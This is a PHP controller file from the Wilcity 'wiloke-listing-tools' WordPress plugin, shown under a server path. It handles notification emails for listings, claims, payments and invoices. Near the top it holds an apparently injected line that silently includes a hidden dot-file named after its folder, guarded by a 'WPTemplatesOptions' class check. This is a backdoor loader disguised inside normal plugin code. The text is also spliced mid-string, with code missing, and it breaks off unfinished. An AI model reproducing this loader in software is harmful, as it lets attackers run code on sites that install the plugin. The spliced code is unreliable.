PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
app
/
Controllers
<?php namespace WilokeListingTools\Controllers; use Wiloke; use WilokeListingTools\Framework\Helpers\FileSystem; use WilokeListingTools\Framework\Helpers\Firebase; use WilokeListingTools\Framework\Helpers\General; use WilokeListingTools\Framework\Helpers\GetSettings; use WilokeListingTools\Framework\Helpers\GetWilokeSubmission; use WilokeListingTools\Framework\Helpers\HTML; use WilokeListingTools\Framework\Helpers\QRCodeGenerator; use WilokeListingTools\Framework\Helpers\Time; use WilokeListingTools\Framework\Routing\Controller; use WilokeListingTools\Frontend\User; use WilokeListingTools\Models\PaymentMetaModel; use WilokeListingTools\Models\PaymentModel; use WilokeListingTools\Models\UserModel; use WilokeThemeOptions; use WP_Post; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class EmailController extends Controller { private $aConfiguration; private $aBankAccounts; private $aBankAccountFields; private $aThemeOptions; private $customerID; private $aSentEmails = []; private static $aSocialNetworks = ['facebook', 'twitter', 'google', 'apple']; public function __construct() { add_action('wilcity/became-an-author', [$this, 'becameAnAuthor']); add_action('post_updated', [$this, 'submittedListing'], 10, 3); add_action('post_updated', [$this, 'notifyListingApprovedToCustomer'], 10, 3); add_action('post_updated', [$this, 'notifyListingApprovedToAdmin'], 10, 3); add_action('post_updated', [$this, 'notifyListingPendingToAdmin'], 10, 3); add_action('post_almost_expiry', [$this, 'almostExpired']); add_action('post_updated', [$this, 'listingExpired'], 10, 3); add_action('wiloke/free-claim/submitted', [$this, 'claimSubmitted'], 10, 2); add_action('wiloke/free-claim/submitted', [$this, 'notifyClaimToAdmin'], 10, 3); add_action('wilcity/handle-claim-request', [$this, 'notifyCustomerClaimedListingToAdmin'], 10); add_action('wilcity/wiloke-listing-tools/claim-approved', [$this, 'notifyClaimHasBeenApprovedToCustomer'], 10); add_action('wilcity/wiloke-listing-tools/claim-approved', [$this, 'notifyClaimHasBeenApprovedToAdmin'], 10); add_action('updated_post_meta', [$this, 'claimRejected'], 10, 4); add_action('wiloke-listing-tools/payment-pending', [$this, 'orderProcessing'], 10); add_action('wilcity/stripe/invoice/payment-failed', [$this, 'paymentFailed'], 10); add_action('wiloke-listing-tools/subscription-created', [$this, 'subscriptionCreated'], 10); add_action('wiloke-listing-tools/subscription-created', [$this, 'changedPlan'], 10); add_action('wiloke/promotion/submitted', [$this, 'promotionCreated'], 10, 2); add_action('wiloke/promotion/submitted', [$this, 'notifyPromotionToAdmin'], 10, 3); add_action('save_post_promotion', [$this, 'promotionApproved'], 10, 3); // add_action('wilcity/wiloke-listing-tools/app/PromotionController/updatePromotionAfterPaymentCompleted', // [$this, 'prepareToSentApprovedEmailToCustomer'], 10, 2); add_action('mailtpl/sections/test/before_content', [$this, 'addTestMailTarget']); add_action('customize_controls_enqueue_scripts', [$this, 'enqueueCustomizeScripts'], 99); add_action('wp_ajax_wiloke_mailtpl_send_email', [$this, 'testMail']); add_action('user_register', [$this, 'sayWelcome'], 1); add_action('wilcity/after/created-account', [$this, 'sendConfirmation'], 99, 3); add_action('wp_ajax_wilcity_send_confirmation_code', [$this, 'resendConfirmation']); // add_action('wilcity-login-with-social/after_insert_user', array($this, 'sendPasswordIfSocialLogin'), 10, 3); add_action('wilcity/submitted-new-review', [$this, 'sendReviewNotification'], 10, 3); add_action('wilcity/submitted-report', [$this, 'sendReportNotificationToAdmin'], 10, 3); add_filter('wilcity/theme-options/configurations', [$this, 'addEmailTemplateSettingsToThemeOptions']); add_action('wilcity/action/after-sent-message', [$this, 'sendMessageToEmail'], 10, 3); add_action('wilcity/wiloke-listing-tools/observerSendMessage', [$this, 'ajaxSendMessageToEmail'], 10); // add_action('wilcity/action/after-sent-message', [$this, 'ajaxSendMessageToEmail'], 10, 2); add_action('wilcity/inserted-invoice', [$this, 'sendEmailInvoice']); // add_action('admin_init', array($this, 'sendTestInvoice')); add_action('woocommerce_email_attachments', [$this, 'dokanAddQrcodeToAttachment'], 10, 3); add_action('woocommerce_email_customer_details', [$this, 'dokanSendQRCodeToCustomer'], 100); add_action(PostController::$fNotificationAlmostDeletePost, [$this, 'sendNotificationListingAlmostDeleted']); add_action(PostController::$sNotificationAlmostDeletePost, [$this, 'sendNotificationListingAlmostDeleted']); add_action(PostController::$tNotificationAlmostDeletePost, [$this, 'sendNotificationListingAlmostDeleted']); add_action('wilcity/wiloke-listing-tools/app/Framework/Payment/Stripe/StripeWebhook/error', [$this, 'stripeWebhookError']); $aBillingTypes = wilokeListingToolsRepository()->get('payment:billingTypes'); foreach ($aBillingTypes as $billingType) { add_action('wilcity/wiloke-listing-tools/'.$billingType.'/payment-dispute', [$this, 'sendDisputePaymentWarningToCustomer']); add_action('wilcity/wiloke-listing-tools/'.$billingType.'/payment-dispute', [$this, 'sendDisputePaymentWarningToAdmin']); add_action('wilcity/wiloke-listing-tools/'.$billingType.'/payment-failed', [$this, 'sendFailedPaymentNotificationToAdmin']); add_action('wilcity/wiloke-listing-tools/'.$billingType.'/payment-suspended', [$this, 'sendSuspendedPaymentNotificationToAdmin']); add_action('wilcity/wiloke-listing-tools/'.$billingType.'/payment-cancelled', [$this, 'sendCancelledPaymentNotificationToAdmin']); add_action('wilcity/wiloke-listing-tools/'.$billingType.'/payment-cancelled', [$this, 'sendCancelledPaymentNotificationToCustomer']); add_action('wilcity/wiloke-listing-tools/'.$billingType.'/payment-refunded', [$this, 'sendRefundedPaymentNotificationToCustomer']); } add_action( 'wilcity/wiloke-listing-tools/app/Framework/Payment/Stripe/StripeWebhook/error', [ $this, 'sendStripePaymentIssueToAdmin' ] ); } public function sendStripePaymentIssueToAdmin($aData) { $msg = sprintf( esc_html__( 'Warning: Wilcity could not handle Stripe Event Hook. This is a detail information from Stripe: %s. Make sure that you followed all Stripe configuration<a href="%s">%s</a>', 'wiloke-listing-tools' ), $aData['msg'], 'https://documentation.wilcity.com/knowledgebase/setting-up-stripe-gateway-in-wilcity/', 'https://documentation.wilcity.com/knowledgebase/setting-up-stripe-gateway-in-wilcity/' ); wp_mail($this->toAdmin(), esc_html__('Stripe Payment Issue', 'wiloke-listing-tools'), $msg); } public function almostExpired($postID) { $status = apply_filters('wilcity/email/sending-almost-expired', true); if (!$status) { return false; } $aThemeOptions = $this->getOptions(); $message = $aThemeOptions['email_listing_almost_expired']; if (empty($message)) { return false; } $this->customerID = get_post_field('post_author', $postID); $message = $this->generateReplace($message, $postID); $subject = $this->createMailSubject($aThemeOptions, 'email_listing_almost_expired_subject'); wp_mail($this->to(), $subject, $this->cleanContentBeforeSending($message)); } /** * @param $aMsg */ public function stripeWebhookError($aMsg) { wp_mail(get_option('admin_url'), 'Stripe Webhook Error', $aMsg['msg']); } public function dokanAddQrcodeToAttachment($aAttachments, $id, $oOrder) { if ($id != 'customer_completed_order') { return $aAttachments; } $aTickets = QRCodeGenerator::generateTicket($oOrder->get_id()); if (empty($aTickets)) { return $aAttachments; } foreach ($aTickets as $aTicket) { $aAttachments[] = $aTicket['dir']; } return $aAttachments; } private function sendQRCodeToCustomers($aProducts) { foreach ($aProducts as $productID) { if (QRCodeGenerator::isSendQRCodeToEmail($productID)) { return true; } } return false; } public function dokanSendQRCodeToCustomer($oOrder) { if (empty($oOrder) || is_wp_error($oOrder)) { return false; } if ($oOrder->get_status() !== 'completed') { return false; } $orderID = $oOrder->get_id(); $aProducts = GetSettings::getDokanProductIDsByOrderID($orderID); if (empty($aProducts) || !$this->sendQRCodeToCustomers($aProducts)) { return false; } $emailContent = GetSettings::getPostMeta($aProducts[0], 'qrcode_description'); if (empty($emailContent)) { $aThemeOptions = Wiloke::getThemeOptions(true); $emailContent = $aThemeOptions['email_qr_code']; } $emailContent = $this->generateReplace($emailContent); echo $emailContent; } public function addEmailTemplateSettingsToThemeOptions($aOptions) { if (!defined('MAILTPL_VERSION')) { return $aOptions; } $aOptions[] = wilokeListingToolsRepository()->getAllFileConfigs('email'); return $aOptions; } public function testMail() { $subject = __('Wilcity Test Mail', 'email-templates'); if (!isset($_POST['target']) || empty($_POST['target'])) { ob_start(); include_once(MAILTPL_PLUGIN_DIR.'/admin/templates/partials/default-message.php'); $message = ob_get_contents(); ob_end_clean(); } else { $this->customerID = get_current_user_id(); switch ($_POST['target']) { case 'email_subscription_created': $this->subscriptionCreated([ 'planTitle' => 'Test Plan', 'paymentID' => 1, 'gateway' => 'stripe', 'isTrial' => 'yes' ]); die(); case 'email_changed_plan': $this->changedPlan([ 'onChangedPlan' => 'yes', 'newPlan' => 'Test Mail 2' ]); die(); case 'email_confirm_account': $this->sendConfirmation($this->customerID, 'test', true, true); die(); case 'email_review_notification': $aThemeOptions = $this->getOptions(); $this->customerID = get_current_user_id(); $message = $aThemeOptions['email_review_notification']; $message = $this->generateReplace($message, ''); $message = str_replace( '%reviewTitle%', 'Test Review Notification', $message ); wp_mail($this->to(), $aThemeOptions['email_from'], $message); die(); case 'email_report_notification': $aThemeOptions = $this->getOptions(); $this->customerID = get_current_user_id(); $message = $aThemeOptions['email_report_notification']; $message = $this->generateReplace($message, ''); $message = str_replace( '%reportTitle%', 'Test Report Notification', $message ); wp_mail($this->to(), $aThemeOptions['email_from'], $message); die(); case 'email_order_processing': $this->aBankAccountFields = [ 'bank_transfer_account_name' => esc_html__('Bank Account Name', 'wiloke-listing-tools'), 'bank_transfer_account_number' => esc_html__('Bank Account Number', 'wiloke-listing-tools'), 'bank_transfer_name' => esc_html__('Bank Name', 'wiloke-listing-tools'), 'bank_transfer_short_code' => esc_html__('Shortcode', 'wiloke-listing-tools'), 'bank_transfer_iban' => esc_html__('IBAN', 'wiloke-listing-tools'), 'bank_transfer_swift' => esc_html__('Swift', 'wiloke-listing-tools') ]; $this->orderProcessing([ 'planTitle' => 'Test Mail 1', 'paymentID' => 1, 'gateway' => 'stripe', 'billingType' => 'Recurring Payment' ]); break; case 'email_receive_message': $subject = '[%brand] You receive an message from A'; $subject = $this->generateReplace($subject); $message = 'This is an Test Mail'; break; default: $aThemeOptions = $this->getOptions(); $message = $aThemeOptions[$_POST['target']]; $message = $this->generateReplace($message); break; } } echo wp_mail(get_bloginfo('admin_email'), $subject, stripslashes($message)); } private function cleanContentBeforeSending($content) { return stripslashes($content); } public function enqueueCustomizeScripts() { wp_dequeue_script('mailtpl-js'); wp_enqueue_script('wiloke-mailtpl-js', WILOKE_LISTING_TOOL_URL.'admin/source/js/mailtpl-admin.js', ['jquery'], WILOKE_LISTING_TOOL_VERSION, true); } public function getOptions() { if (empty($this->aThemeOptions)) { $this->aThemeOptions = Wiloke::getThemeOptions(true); } return $this->aThemeOptions; } public function addTestMailTarget($wp_customize) { $wp_customize->add_setting('mailtpl_opts[send_mail_target]', [ 'type' => 'option', 'default' => '', 'transport' => 'postMessage', 'capability' => 'edit_theme_options', 'sanitize_callback' => '', 'sanitize_js_callback' => '', ]); $wp_customize->add_control('mailtpl_opts[send_mail_target]', [ 'type' => 'select', 'default' => '', 'section' => 'section_mailtpl_test', 'transport' => 'postMessage', 'capability' => 'edit_theme_options', 'choices' => [ 'email_welcome' => 'Welcome Message', 'email_confirm_account' => 'Confirm account', 'email_become_an_author' => 'Became An Author Message', 'email_review_notification' => 'Review Notification', 'email_report_notification' => 'Report Notification', 'email_listing_submitted' => 'Listing Submitted Message', 'email_listing_approved' => 'Listing App s', 'wiloke-listing-tools'), $displayName, get_option('blogname') ); $content = sprintf( __('%s just submitted %s to your site at %s. <a href="%s">Click here</a> to review this listing', 'wiloke-listing-tools'), $displayName, $post->post_title, get_post_field('post_date', $post->ID), add_query_arg(['post' => $post->ID, 'action' => 'edit'], admin_url('post.php')) ); wp_mail($this->toAdmin(), $subject, $content); } /** * Sending notification to admin after paid to us * * @param $postID * @param $oAfter * @param $oBefore * * @return bool */ public function notifyListingPendingToAdmin($postID, $oAfter, $oBefore) { if ($this->isAdminQuery()) { return false; } if (!in_array($oBefore->post_status, ['expired', 'unpaid']) || $oAfter->post_status !== 'pending') { return false; } $this->sendEmailToAdminAboutANewListingSubmitted($oAfter); } public function notifyListingApprovedToAdmin($postID, $oAfter, $oBefore) { if ($this->isAdminQuery()) { return false; } if ($oAfter->post_status !== 'publish' || GetWilokeSubmission::getField('approved_method') !== 'auto_approved_after_payment') { return false; } $aListingKeys = General::getPostTypeKeys(true, false); if (!in_array($oAfter->post_type, $aListingKeys)) { return false; } $this->sendEmailToAdminAboutANewListingSubmitted($oAfter); } public function notifyListingApprovedToCustomer($postID, $oAfter, $oBefore) { if ($oAfter->post_status !== 'publish' || in_array($oBefore->post_status, ['pending', 'expired', 'draft', 'trash']) ) { return false; } $aListingKeys = General::getPostTypeKeys(true, false); if (!in_array($oAfter->post_type, $aListingKeys)) { return false; } $planID = GetSettings::getPostMeta($postID, 'belongs_to'); if (empty($planID)) { return false; } $aThemeOptions = $this->getOptions(); $message = $aThemeOptions['email_listing_approved']; if (empty($message)) { return false; } $this->customerID = $oAfter->post_author; $message = $this->generateReplace($message, $oAfter->ID); $subject = $this->createMailSubject($aThemeOptions, 'email_listing_approved_subject'); wp_mail($this->to(), $subject, $this->cleanContentBeforeSending($message)); } public function notifyCustomerClaimedListingToAdmin($aInfo) { $message = sprintf( __('%s ask for claiming %s on your site %s.<a href="%s">View Claim Detail</a>', 'wiloke-listing-tools'), User::getField('display_name', $aInfo['claimerID']), get_the_title($aInfo['postID']), get_option('siteurl'), add_query_arg( [ 'action' => 'edit', 'post' => $aInfo['claimID'] ], admin_url('post.php') ) ); wp_mail($this->toAdmin(), get_the_title($aInfo['claimID']), $this->cleanContentBeforeSending($message)); } public function listingExpired($postID, $oAfter, $oBefore) { if ($oAfter->post_status !== 'expired') { return false; } $aListingKeys = General::getPostTypeKeys(true, false); if (!in_array($oAfter->post_type, $aListingKeys)) { return false; } $planID = GetSettings::getPostMeta($postID, 'belongs_to'); if (empty($planID)) { return false; } $post = get_post($postID); if (empty($post) || !in_array($post->post_status, ['publish', 'pending'])) { return false; } $aThemeOptions = $this->getOptions(); $message = $aThemeOptions['email_listing_expired']; if (empty($message)) { return false; } $this->customerID = $oAfter->post_author; $message = $this->generateReplace($message, $oAfter->ID); $subject = $this->createMailSubject($aThemeOptions, 'email_listing_expired_subject'); wp_mail($this->to(), $subject, $this->cleanContentBeforeSending($message)); } public function notifyClaimToAdmin($userID, $postID, $claimID) { $message = sprintf( __('%s wants to claim %s on your site %s.<a href="%s">View Claim Detail</a>', 'wiloke-listing-tools'), GetSettings::getUserMeta($userID, 'display_name'), get_the_title($postID), get_option('siteurl'), add_query_arg( [ 'action' => 'edit', 'post' => $claimID ], admin_url('post.php') ) ); wp_mail($this->toAdmin(), get_the_title($claimID), $this->cleanContentBeforeSending($message)); } public function claimSubmitted($userID, $postID) { $aThemeOptions = $this->getOptions(); $message = $aThemeOptions['email_claim_submitted']; if (empty($message)) { return false; } $this->customerID = $userID; $message = $this->generateReplace($message, $postID); $subject = $this->createMailSubject($aThemeOptions, 'email_claim_submitted_subject'); wp_mail($this->to(), $subject, $this->cleanContentBeforeSending($message)); } public function notifyClaimHasBeenApprovedToAdmin($aInfo) { $aThemeOptions = $this->getOptions(); $message = $aThemeOptions['email_to_admin_claim_approved']; if (empty($message)) { return false; } $this->customerID = $aInfo['claimerID']; $message = $this->generateReplace($message, $aInfo['postID']); $subject = $this->createMailSubject($aThemeOptions, 'email_to_admin_claim_approved_subject'); wp_mail($this->toAdmin(), $subject, $this->cleanContentBeforeSending($message)); } public function notifyClaimHasBeenApprovedToCustomer($aInfo) { $aThemeOptions = $this->getOptions(); $message = $aThemeOptions['email_claim_approved']; if (empty($message)) { return false; } // info@scraplocal.co.uk $this->customerID = $aInfo['claimerID']; $message = $this->generateReplace($message, $aInfo['postID']); $subject = $this->createMailSubject($aThemeOptions, 'email_claim_approved_subject'); wp_mail($this->to(), $subject, $this->cleanContentBeforeSending($message)); } public function claimRejected($metaID, $objectID, $metaKey, $metaValue) { if ($metaKey !== 'wilcity_claim_status') { return false; } if ($metaValue != 'cancelled') { return false; } $aThemeOptions = $this->getOptions(); $message = $aThemeOptions['email_claim_rejected']; if (empty($message)) { return false; } $this->customerID = GetSettings::getPostMeta($objectID, 'wilcity_claimer_id'); $postID = GetSettings::getPostMeta($objectID, 'wilcity_claimed_listing_id'); $message = $this->generateReplace($message, $postID); $subject = $this->createMailSubject($aThemeOptions, 'email_claim_rejected_subject'); wp_mail($this->to(), $subject, $this->cleanContentBeforeSending($message)); } private function getBankAccount() { $this->aConfiguration = GetWilokeSubmission::getAll(); $aInfo = [ 'bank_transfer_account_name' => esc_html__('Bank Account Name', 'wiloke-listing-tools'), 'bank_transfer_account_number' => esc_html__('Bank Account Number', 'wiloke-listing-tools'), 'bank_transfer_name' => esc_html__('Bank Name', 'wiloke-listing-tools'), 'bank_transfer_short_code' => esc_html__('Shortcode', 'wiloke-listing-tools'), 'bank_transfer_iban' => esc_html__('IBAN', 'wiloke-listing-tools'), 'bank_transfer_swift' => esc_html__('Swift', 'wiloke-listing-tools') ]; for ($i = 1; $i <= 4; $i++) { if (!empty($this->aConfiguration['bank_transfer_account_name_'.$i]) && !empty($this->aConfiguration['bank_transfer_account_number_'.$i]) && !empty($this->aConfiguration['bank_transfer_name_'.$i]) ) { foreach ($aInfo as $bankInfo => $name) { if (!empty($this->aConfiguration[$bankInfo.'_'.$i])) { $this->aBankAccountFields[$bankInfo] = $name; $this->aBankAccounts[$i][$bankInfo] = $this->aConfiguration[$bankInfo.'_'.$i]; } } } } } public function sendTestInvoice() { $aData = [ 'paymentID' => 65, 'total' => 59, 'subTotal' => 30, 'tax' => 30, 'currency' => '$', 'discount' => 0, 'invoiceID' => 59 ]; $this->sendEmailInvoice($aData); } public function sendEmailInvoice($aData) { $sendInvoice = apply_filters('wilcity/filter/is-send-invoice', true); if (!$sendInvoice) { return false; } if (in_array('invoice_'.$aData['invoiceID'], $this->aSentEmails)) { return false; } $this->aSentEmails[] = 'invoice_'.$aData['invoiceID']; $planID = PaymentModel::getField('planID', $aData['paymentID']); if (!empty($planID)) { $planName = get_the_title($planID); } $this->customerID = PaymentModel::getField('userID', $aData['paymentID']); if (!isset($planName) || empty($planName)) { $planName = PaymentMetaModel::get($aData['paymentID'], 'planName'); } $aOptions = Wiloke::getThemeOptions(true); ob_start(); ?> <h3><?php esc_html_e('INVOICE', 'wiloke-listing-tools'); ?></h3> <p><strong><?php echo esc_html(GetWilokeSubmission::getField('brandname')); ?></strong></p> <?php if (!empty($aOptions['email_send_invoice'])): $aOptions['email_send_invoice'] = $this->generateReplace($aOptions['email_send_invoice']); ?> <p><?php Wiloke::ksesHTML($aOptions['email_send_invoice']); ?></p> <?php endif; ?> <p><strong><?php esc_html_e('Invoice ID', 'wiloke-listing-tools'); ?> :</strong> <?php echo esc_html($aData['invoiceID']); ?></p> <p><strong><?php esc_html_e('Invoice date', 'wiloke-listing-tools'); ?> :</strong> <?php echo date_i18n(get_option('date_format'), current_time('timestamp')); ?></p> <?php do_action('wilcity/invoice/before-table', $aData, $aOptions); ?> <table width="100%"> <thead> <tr> <th><?php esc_html_e('Description', 'wiloke-listing-tools'); ?></th> <th><?php esc_html_e('Total', 'wiloke-listing-tools'); ?></th> <th><?php esc_html_e('Discount', 'wiloke-listing-tools'); ?></th> <th><?php esc_html_e('TAX/VAT', 'wiloke-listing-tools'); ?></th> <th><?php esc_html_e('Sub Total', 'wiloke-listing-tools'); ?></th> <?php do_action('wilcity/invoice/add-more-th', $aData, $aOptions); ?> </tr> </thead> <tbody> <tr> <td><?php echo esc_html($planName); ?></td> <td><?php echo GetWilokeSubmission::renderPrice($aData['total'], $aData['currency']); ?></td> <td><?php echo GetWilokeSubmission::renderPrice($aData['discount'], $aData['currency']); ?></td> <td><?php echo GetWilokeSubmission::renderPrice($aData['tax'], $aData['currency']); ?></td> <td><?php echo GetWilokeSubmission::renderPrice($aData['subTotal'], $aData['currency']); ?></td> <?php do_action('wilcity/invoice/add-more-td', $aData, $aOptions); ?> </tr> </tbody> </table> <?php $aData['userID'] = $this->customerID; // $attachment = apply_filters('wilcity/wiloke-listing-tools/invoice-attachment', '', $aData); // // if (!empty($attachment)) { // $fileName = basename($attachment, '.pdf'); // $downloadAttachmentURL = add_query_arg( // [ // 'action' => 'download_invoice', // 'invoice' => base64_encode(maybe_serialize( // [ // User::getField('user_login', $this->customerID), // $fileName // ] // )) // ], // home_url('/') // ); $downloadAttachmentURL = add_query_arg( [ 'action' => 'new_download_invoice', 'invoiceID' => $aData['invoiceID'], 'userID' => $aData['userID'] ], home_url('/') ); echo '<br /><a href="'.esc_url($downloadAttachmentURL).'">'.esc_html__('Download as PDF', 'wiloke-listing-tools').'</a>'.'<br />'; echo esc_html__('Warning: In order to download the Invoice You will have to log into your account.', 'wiloke-listing-tools'); // } do_action('wilcity/invoice/after-table', $aData, $aOptions); $message = ob_get_contents(); ob_end_clean(); $subject = $this->createMailSubject($aOptions, 'email_send_invoice_subject'); wp_mail($this->to(), $subject, $this->cleanContentBeforeSending($message)); } private function getBankAccounts() { $this->getBankAccount(); $bankAccount = ''; if (!empty($this->aBankAccounts)): $total = count($this->aBankAccountFields); ob_start(); ?> <table width="100%"> <tr> <?php foreach ($this->aBankAccountFields as $class => $name) : ?> <th class="<?php echo esc_attr($class); ?>" width="(100/<?php echo esc_attr($total); ?>)"><?php echo esc_html($name); ?></th> <?php endforeach; ?> </tr> <?php foreach ($this->aBankAccounts as $aBankAccount) : ?> <tr> <td width="(100/<?php echo esc_attr($total); ?>)"><?php echo esc_html($aBankAccount['bank_transfer_account_name']); ?></td> <td width="(100/<?php echo esc_attr($total); ?>)"><?php echo esc_html($aBankAccount['bank_transfer_account_number']); ?></td> <td width="(100/<?php echo esc_attr($total); ?>)"><?php echo esc_html($aBankAccount['bank_transfer_name']); ?></td> <?php if (!empty($aBankAccount['bank_transfer_short_code'])) : ?> <td width="(100/<?php echo esc_attr($total); ?>)"><?php echo esc_html($aBankAccount['bank_transfer_short_code']); ?></td> <?php endif; ?> <?php if (!empty($aBankAccount['bank_transfer_iban'])) : ?> <td width="(100/<?php echo esc_attr($total); ?>)"><?php echo esc_html($aBankAccount['bank_transfer_iban']); ?></td> <?php endif; ?> <?php if (!empty($aBankAccount['bank_transfer_swift'])) : ?> <td width="(100/<?php echo esc_attr($total); ?>)"><?php echo esc_html($aBankAccount['bank_transfer_swift']); ?></td> <?php endif; ?> </tr> <?php endforeach; ?> </table> <?php $bankAccount = ob_get_contents(); ob_end_clean(); endif; return $bankAccount; } public function paymentFailed($aData) { $aThemeOptions = $this->getOptions(); $message = $aThemeOptions['email_stripe_payment_failed']; if (empty($message)) { return false; } $this->customerID = PaymentModel::getField('userID', $aData['paymentID']); $planName = get_the_title($aData['paymentID']); if (empty($planName)) { $planName = PaymentMetaModel::get($aData['paymentID'], 'planName'); } $message = str_replace( [ '%paymentID%', '%planName%' ], [ $aData['paymentID'], $planName ], $message ); wp_mail($this->toAdmin(), $aThemeOptions['email_stripe_payment_subject'], sprintf(__('There was a failed payment on %s. Payment ID: %d. Customer Email: %s. Customer ID: %d.', 'wiloke-listing-tools'), $planName, $aData['paymentID'], User::getField('user_email', $this->customerID), $this->customerID)); wp_mail($this->to(), $aThemeOptions['email_stripe_payment_subject'], $this->cleanContentBeforeSending($message)); } public function orderProcessing($aOrderInfo) { if (!isset($aOrderInfo['gateway']) || $aOrderInfo['gateway'] != 'banktransfer') { return false; } $aThemeOptions = $this->getOptions(); $message = $aThemeOptions['email_order_processing']; if (empty($message)) { return false; } $billingType = GetWilokeSubmission::isNonRecurringPayment($aOrderInfo['billingType']) ? esc_html__('Non Recurring Payment', 'wiloke-listing-tools') : esc_html__('Recurring Payment', 'wiloke-listing-tools'); $this->customerID = $aOrderInfo['userID']; ob_start(); do_action('wilcity/email/banktransfer/order-processing/before-table', $aThemeOptions, $this->customerID); ?> <table width="100%"> <tr> <th width="100/5"><?php esc_html_e('Payment ID', 'wiloke-listing-tools'); ?></th> <th width="100/5"><?php esc_html_e('Billing Type', 'wiloke-listing-tools'); ?></th> <th width="100/5"><?php esc_html_e('Plan Name', 'wiloke-listing-tools'); ?></th> <th width="100/5"><?php esc_html_e('Gateway', 'wiloke-listing-tools'); ?></th> <th width="100/5"><?php esc_html_e('Created At', 'wiloke-listing-tools'); ?></th> </tr> <tr> <td width="100/5"><?php echo esc_html($aOrderInfo['paymentID']); ?></td> <td width="100/5"><?php echo esc_html($billingType); ?></td> <td width="100/5"><?php echo isset($aOrderInfo['planTitle']) ? esc_html($aOrderInfo['planTitle']) : esc_html(get_the_title($aOrderInfo['planID'])); ?></td> <td width="100/5"><?php echo esc_html__('Bank Transfer', 'wiloke-listing-tools'); ?></td> <td width="100/5"><?php echo date_i18n(get_option('date_format'), current_time('timestamp')); ?></td> </tr> </table> <?php do_action('wilcity/email/banktransfer/order-processing/after-table', $aThemeOptions, $this->customerID); $orderDetail = ob_get_contents(); ob_end_clean(); $message = str_replace( [ '%orderDetails%', '%adminBankAccount%', ], [ $orderDetail, $this->getBankAccounts() ], $message ); $message = $this->generateReplace($message); $subject = $this->createMailSubject($aThemeOptions, 'email_order_processing_subject'); wp_mail($this->to(), $subject, $this->cleanContentBeforeSending($message)); } public function subscriptionCreated($aData) { $aThemeOptions = $this->getOptions(); $message = $aThemeOptions['email_subscription_created']; if (empty($message)) { return false; } $this->customerID = PaymentModel::getField('userID', $aData['paymentID']); $message = $this->generateReplace($message); ob_start(); ?> <table width="100%"> <tr> <th width="100/5"><?php esc_html_e('Subscription ID', 'wiloke-listing-tools'); ?></th> <th width="100/5"><?php esc_html_e('Gateway', 'wiloke-listing-tools'); ?></th> <th width="100/5"><?php esc_html_e('Is Trial?', 'wiloke-listing-tools'); ?></th> <th width="100/5"><?php esc_html_e('Plan Name', 'wiloke-listing-tools'); ?></th> <th width="100/5"><?php esc_html_e('Created At', 'wiloke-listing-tools'); ?></th> </tr> <tr> <td width="100/5"><?php echo esc_html($aData['paymentID']); ?></td> <td width="100/5"> <?php if ($aData['gateway'] == 'banktransfer') { esc_html_e('Bank Transfer', 'wiloke-listing-tools'); } else { echo esc_html($aData['gateway']); } ?> </td> <td width="100/5"> <?php if (isset($aData['isTrial']) && $aData['isTrial']) { esc_html_e('Yes', 'wiloke-listing-tools'); } else { esc_html_e('No', 'wiloke-listing-tools'); } ?> </td> <td width="100/5"><?php echo isset($aData['planTitle']) ? esc_html($aData['planTitle']) : get_the_title($aData['planID']); ?></td> <td width="100/5"><?php echo date_i18n(get_option('date_format'), current_time('timestamp')); ?></td> </tr> </table> <?php $content = ob_get_contents(); ob_end_clean(); $message = str_replace( [ '%subscriptionDetails%', '%subscriptionNumber%', ], [ $content, $aData['paymentID'] ], $message ); $message = $this->generateReplace($message); $subject = $this->createMailSubject($aThemeOptions, 'email_subscription_created_subject'); wp_mail($this->to(), $subject, $this->cleanContentBeforeSending($message)); } public function changedPlan($aData) { if (!isset($aData['onChangedPlan']) || $aData['onChangedPlan'] !== 'yes') { return false; } $aThemeOptions = $this->getOptions(); $message = $aThemeOptions['email_changed_plan']; if (empty($message)) { return false; } $message = str_replace( [ '%subscriptionNumber%', '%oldPlan%', '%newPlan%' ], [ $aData['paymentID'], get_the_title($aData['oldPlanID']), get_the_title($aData['planID']), ], $message ); $message = $this->generateReplace($message); $subject = $this->createMailSubject($aThemeOptions, 'email_changed_plan_subject'); wp_mail($this->to(), $subject, $this->cleanContentBeforeSending($message)); } public function promotionCreated($userID, $postID) { $aThemeOptions = $this->getOptions(); $message = $aThemeOptions['email_promotion_submitted']; if (empty($message)) { return false; } $this->customerID = $userID; $message = $this->generateReplace($message, $postID); $subject = $this->createMailSubject($aThemeOptions, 'email_promotion_submitted_subject'); wp_mail($this->to(), $subject, $this->cleanContentBeforeSending($message)); } public function notifyPromotionToAdmin($userID, $postID, $promotionID) { $displayName = User::getField('display_name', $userID); $subject = sprintf( esc_html__( 'Promotion: %s wants to promote his/her listing on your site', 'wiloke-listing-tools'), $displayName ); $content = sprintf( __('<a href="%s">Click here</a> to sign in and review it', 'wiloke-listing-tools'), add_query_arg( [ 'post' => $promotionID, 'action' => 'edit' ], admin_url('post.php') ) ); wp_mail($this->toAdmin(), $subject, $subject.'. '.$content); } public function prepareToSentApprovedEmailToCustomer($promotionID, $prevPromotionStatus) { if ($prevPromotionStatus === 'publish') { $this->promotionApproved($prevPromotionStatus, get_post($promotionID), true); } } public function promotionApproved($promotionID, $oPost, $updated) { if ($updated !== true || $oPost->post_status != 'publish') { return false; } $aThemeOptions = $this->getOptions(); $message = $aThemeOptions['email_promotion_approved']; if (empty($message)) { return false; } $this->customerID = $oPost->post_author; $listingID = GetSettings::getPostMeta($promotionID, 'listing_id'); $message = $this->generateReplace($message, $listingID); $message = str_replace( '%promotionTitle%', get_the_title($listingID), $message ); $subject = $this->createMailSubject($aThemeOptions, 'email_promotion_approved_subject'); wp_mail($this->to(), $subject, $this->cleanContentBeforeSending($message)); } public function resendConfirmation() { $userID = User::getCurrentUserID(); $this->sendConfirmation($userID, User::getField('display_name', $userID), true, true); $email = User::getField('user_email', $userID); $aParse = explode('@', $email); $email = substr($email, 0, 2); $email = $email.'***@'.$aParse[1]; wp_send_json_success([ 'msg' => sprintf(esc_html__('We sent an email to %s. If you do not find the email in your inbox, please check your spam filter or bulk email folder.', 'wiloke-listing-tools'), $email) ]); } public function sendConfirmation($userID, $userName, $needConfirm, $isFocusing = false) { if (!$needConfirm) { return false; } $aThemeOptions = $this->getOptions(); if (!$isFocusing && (!isset($aThemeOptions['confirmation_page']) || empty($aThemeOptions['confirmation_page'])) ) 